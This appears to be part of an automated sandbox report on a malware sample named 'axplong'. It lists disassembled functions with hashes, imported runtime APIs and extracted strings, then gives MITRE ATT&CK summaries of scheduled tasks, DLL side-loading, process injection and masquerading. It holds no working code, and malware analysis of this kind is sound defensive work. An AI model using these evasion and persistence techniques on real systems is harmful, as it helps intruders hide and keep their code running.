Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: 'k,d+1$@y,$d+1
API String ID: 4078500453-3051532360
Opcode ID: 39e1a9687afac42843b33da5a520500a726a57dbb30d106227e961d3fbcb717a
Instruction ID: 564d9177f4c10fe00275d9c96e364c3afd8413a8cc636c0982d1f28c32551d51
Opcode Fuzzy Hash: 39e1a9687afac42843b33da5a520500a726a57dbb30d106227e961d3fbcb717a
Instruction Fuzzy Hash: AF31F2B29243059BD720DF68D846F6AB7E8EF18350F000B3EE945C3241E771EA64CBA1

Function 002E70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 002E710B

Strings

.cmd, xrefs: 002E7129
.exe, xrefs: 002E7118
.com, xrefs: 002E714B
.bat, xrefs: 002E713A

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 00ea6f69934e88b4d4b73ef1ccbd5ade06917765642a64a06869687f5d9de8ff
Instruction ID: a0f1c3b04e74b5a07fdf06bbeff9341e8c002f0ee486b05a8ac16222fcfc3b16
Opcode Fuzzy Hash: 00ea6f69934e88b4d4b73ef1ccbd5ade06917765642a64a06869687f5d9de8ff
Instruction Fuzzy Hash: 81014E376F8397225619281BDC0267B57C89B82BB4B65002BFE48FF3C2DF44DC228690

Function 002B2E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 002B2F1F
__Mtx_unlock.LIBCPMT ref: 002B2F8C
__Cnd_broadcast.LIBCPMT ref: 002B2FA3
__Mtx_unlock.LIBCPMT ref: 002B30B5
__Mtx_unlock.LIBCPMT ref: 002B315B

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 702015ae0d4fc412975a5a5784e1104345786dddd322586c1e28d397a878a1e5
Instruction ID: 98bf51f0b7fab5272a1055f52d44d14fdd680e5e12288b54d03142397016b8f1
Opcode Fuzzy Hash: 702015ae0d4fc412975a5a5784e1104345786dddd322586c1e28d397a878a1e5
Instruction Fuzzy Hash: E9A1D1709203069FDB11EF64C945BAAB7F8FF15390F14862DE819D7641EB30EA28CB91

Function 002B2670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 002B2806
___std_exception_destroy.LIBVCRUNTIME ref: 002B28A0

Strings

P#+, xrefs: 002B27BE, 002B2899
P#+, xrefs: 002B2811

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#+$P#+
API String ID: 2970364248-3630811068
Opcode ID: 70b2a9a9586c1e09a9de834652ffb17de91ee2705a43e96fe575469d42251518
Instruction ID: 8bf694f6cca2586009ac8037497c7382080c573fdf3ccfbfe4aab7d0ff27ce79
Opcode Fuzzy Hash: 70b2a9a9586c1e09a9de834652ffb17de91ee2705a43e96fe575469d42251518
Instruction Fuzzy Hash: F671A071E10248DFDB05CFA8C881BDDFBB5EF49310F54822DE805A7281EB74A994CBA5

Function 002B2AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 002B2B23

Strings

P#+, xrefs: 002B2B18
P#+, xrefs: 002B2B2E
This function cannot be called on a default constructed task, xrefs: 002B2B03

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#+$P#+$This function cannot be called on a default constructed task
API String ID: 2659868963-3747907092
Opcode ID: 5f4ae2c1d74c0765fbba671cdefa165682f7caef8a00d03882623cd15d2f7e41
Instruction ID: 69373df27dba9ba99849b4e6ffd78c72d307890bafe1a761b2a981b760b98585
Opcode Fuzzy Hash: 5f4ae2c1d74c0765fbba671cdefa165682f7caef8a00d03882623cd15d2f7e41
Instruction Fuzzy Hash: FEF0F67092030C9BC715DF689841ADEB7EDDF05300F5042AEF84897641EB70AA648B94

Function 002B2440 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 002B247E

Strings

P#+, xrefs: 002B246D
P#+, xrefs: 002B2486
'k,d+1, xrefs: 002B2440

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: 'k,d+1$P#+$P#+
API String ID: 2659868963-3687900473
Opcode ID: c96602b61fe2440ad73d7e6ef95555d1ff4944c27e44db1370079db165e3a0f0
Instruction ID: ffe50b62689af6755c7638275dc8d2133fd03a81382ae70d7e8d1c0b2cfb571a
Opcode Fuzzy Hash: c96602b61fe2440ad73d7e6ef95555d1ff4944c27e44db1370079db165e3a0f0
Instruction Fuzzy Hash: 0CF0E5B592030C67C718EBE4DC059CAB3ECDE1A300F408A25F644EB640FBB0FA948B91

Function 002EC9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 002ECA37

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction ID: 6f5c35f885ebf42d949694acdf36886cea26db1743e3c2a153cb1236e9fb5a26
Opcode Fuzzy Hash: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction Fuzzy Hash: 60B168329602C69FDB11CFAAC851BBEBBE5EF55340F7441AAE845DB341D6348D12CB60

Function 002CBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 002CBAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 002CBB14
_xtime_get.LIBCPMT ref: 002CBB37
__Xtime_diff_to_millis2.LIBCPMT ref: 002CBB43

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 774aedaede76e9a3711c1516632479cb22c6cb9e3aedf9ea3951256c4d324711
Instruction ID: 1403c77275e0a8be2548534b448241a80327373c44c9ab07b652ef69ae495b30
Opcode Fuzzy Hash: 774aedaede76e9a3711c1516632479cb22c6cb9e3aedf9ea3951256c4d324711
Instruction Fuzzy Hash: 1A214F71A111099FDF15EFA4CC82EAEBBB8EF09714F500169F905B7251DB30AD118FA1

Function 002C7040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 002C726C

Strings

`z,, xrefs: 002C7282
@.+, xrefs: 002C7250

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.+$`z,
API String ID: 3366076730-3529498242
Opcode ID: d870a0833ec0510d154bf29a10b7b869846393cd5536d3311c4222d3e0859032
Instruction ID: fc3abacc773a25f6305872a724691a8e35edb451bc4cc108cfc5207693b5da41
Opcode Fuzzy Hash: d870a0833ec0510d154bf29a10b7b869846393cd5536d3311c4222d3e0859032
Instruction Fuzzy Hash: 33A127B4E116158FDB21CFA8C984B9EBBF0AF48710F19825EE819AB351D7759D01CF81

Function 002EF21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 002EF263

Strings

8"1, xrefs: 002EF30B
`'1, xrefs: 002EF235

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"1$`'1
API String ID: 3903695350-1012482134
Opcode ID: 31c416f218f559d66bef1f2220ecfc719514b92820b48d593b52e35162ea9c7b
Instruction ID: 14d503f2d03ad89140ec086074907163d71cfb62f19fe93b995c51e9a2d33634
Opcode Fuzzy Hash: 31c416f218f559d66bef1f2220ecfc719514b92820b48d593b52e35162ea9c7b
Instruction Fuzzy Hash: 6A3192315A03869FEB61AF3ADA05B5673E8AF40310FA0486AE846D7151DF31FCA0CF11

Function 002B3930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 002B3962
__Mtx_init_in_situ.LIBCPMT ref: 002B39A1

Strings

pB+, xrefs: 002B3940

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pB+
API String ID: 3366076730-3309528453
Opcode ID: 98d76686c5f46406dde89820ba646dd13a729ee63973bd0e8c214a7881836247
Instruction ID: 69f83658ffdb1f6a205a77cd913ca8e8894068b578dafff352476150cfad4bdf
Opcode Fuzzy Hash: 98d76686c5f46406dde89820ba646dd13a729ee63973bd0e8c214a7881836247
Instruction Fuzzy Hash: B74125B0501B059FD720CF18C588B9ABBF0FF44355F24861DE86A8B341E7B4AA15CF80

Function 002B2520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 002B2552

Strings

P#+, xrefs: 002B2547
P#+, xrefs: 002B255D

Memory Dump Source

Source File: 00000006.00000002.2978563090.00000000002B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 002B0000, based on PE: true

Associated: 00000006.00000002.2978532944.00000000002B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978563090.0000000000312000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978647713.0000000000319000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000031B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.000000000049D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.0000000000584000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978679758.00000000005C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979076770.00000000005C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979624431.0000000000769000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979657065.000000000076B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#+$P#+
API String ID: 2659868963-3630811068
Opcode ID: ed869ac024ba471c7f902c38efc6f85bd0ab96595190cac261cad3ffe9d4c1f5
Instruction ID: 6e62ff946a4b019f16bf32d81548c88337a5edcc98b54685f573a603c483f847
Opcode Fuzzy Hash: ed869ac024ba471c7f902c38efc6f85bd0ab96595190cac261cad3ffe9d4c1f5
Instruction Fuzzy Hash: ADF0E270D1120C9BC715DF68D840A8EBBF8AF4A300F1082AEE444A7240EA705A648B94

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

